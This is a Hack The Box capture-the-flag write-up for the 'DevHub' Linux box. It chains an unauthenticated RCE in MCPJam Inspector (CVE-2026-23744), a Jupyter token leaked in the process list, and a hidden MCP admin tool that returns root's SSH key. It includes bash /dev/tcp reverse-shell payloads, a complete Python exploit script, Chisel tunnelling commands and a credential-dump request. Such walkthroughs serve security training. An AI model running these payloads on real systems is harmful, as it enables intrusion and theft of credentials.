DevHub
DevHub is a medium-difficulty Linux box built around modern development and AI infrastructure.
- platform
- Hack The Box
- target_os
- Linux
- difficulty
- Medium
- season
- Season 11
- logged
- June 3, 2026
Summary of Exploitation
DevHub is a medium-difficulty Linux box built around modern development and AI infrastructure. Initial access is achieved by exploiting CVE-2026-23744 — an unauthenticated Remote Code Execution vulnerability in an exposed MCPJam Inspector v1.4.2 instance on port 6274. The /api/mcp/connect endpoint passes a user-controlled serverConfig.command value directly to Node.js’s child_process.spawn() without sanitisation, allowing a reverse shell as mcp-dev. Post-exploitation enumeration reveals two localhost-only services: a Jupyter Notebook on port 8888 (running as analyst) and a Flask API on port 5000. The Jupyter token is recovered from the process list, and a notebook cell is used to escalate to analyst. Source-code review of /opt/opsmcp/server.py exposes a hidden, unauthenticated MCP tool (ops._admin_dump) that returns the root user’s SSH private key, completing the chain.
Recon Phase
An initial Nmap scan was run against the target:
nmap -sC -sV -oN nmap/initial.txt <target-ip>
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 |
| 80 | open | http | nginx 1.18.0 (Ubuntu) |
| 6274 | open | http | MCPJam Inspector |
Port 80 issued a redirect to devhub.htb. The hostname was added to /etc/hosts:
echo "<target-ip> devhub.htb" | sudo tee -a /etc/hosts
Web Enumeration
The landing page at http://devhub.htb described an Internal Development & Analytics Platform and explicitly referenced port 6274 as a secondary service endpoint — a clear pivot hint.
Navigating to http://devhub.htb:6274/ revealed an MCPJam Inspector instance. The Settings page disclosed the running version: MCPJam Inspector v1.4.2.
Researching known CVEs for this version surfaced CVE-2026-23744 (GHSA-232v-j27c-5pp6):
The
/api/mcp/connectendpoint accepts aserverConfigobject. Thecommandfield is passed directly to Node.js’schild_process.spawn()with no input sanitisation and no authentication check, enabling unauthenticated RCE.
MCPJam Inspector is designed as a local developer tool for testing MCP servers. When exposed on a network without authentication, the serverConfig.command field becomes an open command injection vector.
Exploitation Phase
Foothold
A netcat listener was started on the attack machine:
nc -lvnp 4444
The RCE payload was crafted and sent to the vulnerable endpoint:
curl http://devhub.htb:6274/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"],"env":{}},"serverId":"mytest"}'
This returned a shell as mcp-dev (uid=1001).
Exploitation Script
The following Python script automates delivery of the reverse shell payload:
#!/usr/bin/env python3
"""
CVE-2026-23744 — MCPJam Inspector v1.4.2 Unauthenticated RCE
Usage: python3 exploit.py <target-ip> <attacker-ip> <attacker-port>
"""
import sys
import json
import requests
def exploit(target_ip, lhost, lport):
url = f"http://{target_ip}:6274/api/mcp/connect"
headers = {"Content-Type": "application/json"}
payload = {
"serverConfig": {
"command": "bash",
"args": ["-c", f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"],
"env": {}
},
"serverId": "pwned"
}
print(f"[*] Sending RCE payload to {url}")
print(f"[*] Reverse shell -> {lhost}:{lport}")
try:
r = requests.post(url, headers=headers, json=payload, timeout=10)
print(f"[*] Response: {r.status_code}")
except requests.exceptions.ConnectionError:
# Shell connected — connection dropped from server side is expected
print("[+] Payload delivered. Check your listener.")
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <target-ip> <attacker-ip> <port>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
Priv-Esc to analyst
After landing the shell as mcp-dev, internal services were enumerated:
ss -tlnp
# or
netstat -tlnp
Two localhost-only services were identified:
| Port | Service |
|---|---|
| 5000 | Flask API |
| 8888 | Jupyter Notebook |
The Jupyter Notebook was the more promising target. Its authentication token was recovered from the process arguments — visible without any elevated privileges:
ps aux | grep jupyter
# Token visible in the --NotebookApp.token= argument
Port forwarding was set up using Chisel to make port 8888 accessible on the attack machine:
Attack machine (server):
./chisel server -p 9001 --reverse
Target (client):
./chisel client <attacker-ip>:9001 R:8888:127.0.0.1:8888
The Jupyter interface was then accessed at http://127.0.0.1:8888 and authenticated using the recovered token. The notebook session confirmed it was running as the analyst user. A code cell was used to spawn a reverse shell:
import subprocess
subprocess.Popen(["bash", "-c", "bash -i >& /dev/tcp/<attacker-ip>/5555 0>&1"])
Shell landed as analyst.
Priv-Esc to Root
With access as analyst, the Flask API source on port 5000 was examined:
cat /opt/opsmcp/server.py
The source revealed an Operations MCP Server that exposes tools via /tools/list. Crucially, it also contained hidden tools — callable but deliberately excluded from the listing.
One such hidden tool, ops._admin_dump, returned sensitive credentials including the root user’s SSH private key. The API key required to call it was hardcoded in the source file.
The hidden endpoint was invoked directly:
curl -s http://127.0.0.1:5000/tools/call \
--header "Content-Type: application/json" \
--header "X-API-Key: <hardcoded-key-from-source>" \
--data '{"tool": "ops._admin_dump"}'
The response included root’s private SSH key. The key was saved locally and used to authenticate:
chmod 600 root_id_rsa
ssh -i root_id_rsa root@devhub.htb
Root Flag Successfully Obtained
root@devhub:~# cat /root/root.txt
<root_flag>
Key Takeaways
- Always check CVEs against identified software versions. The MCPJam RCE was trivial once the exact version (1.4.2) was confirmed.
- Localhost-only services are still attack surface. Tunneling tools like Chisel make internal services reachable from the attack machine.
- Jupyter tokens are not secrets when any shell access exists on the host — they appear in plain text in process arguments (
ps aux). - Hidden API endpoints are only hidden from listings. Reviewing source code surfaces them every time.
- Hardcoded credentials in source code remain one of the most common and impactful findings in real-world assessments.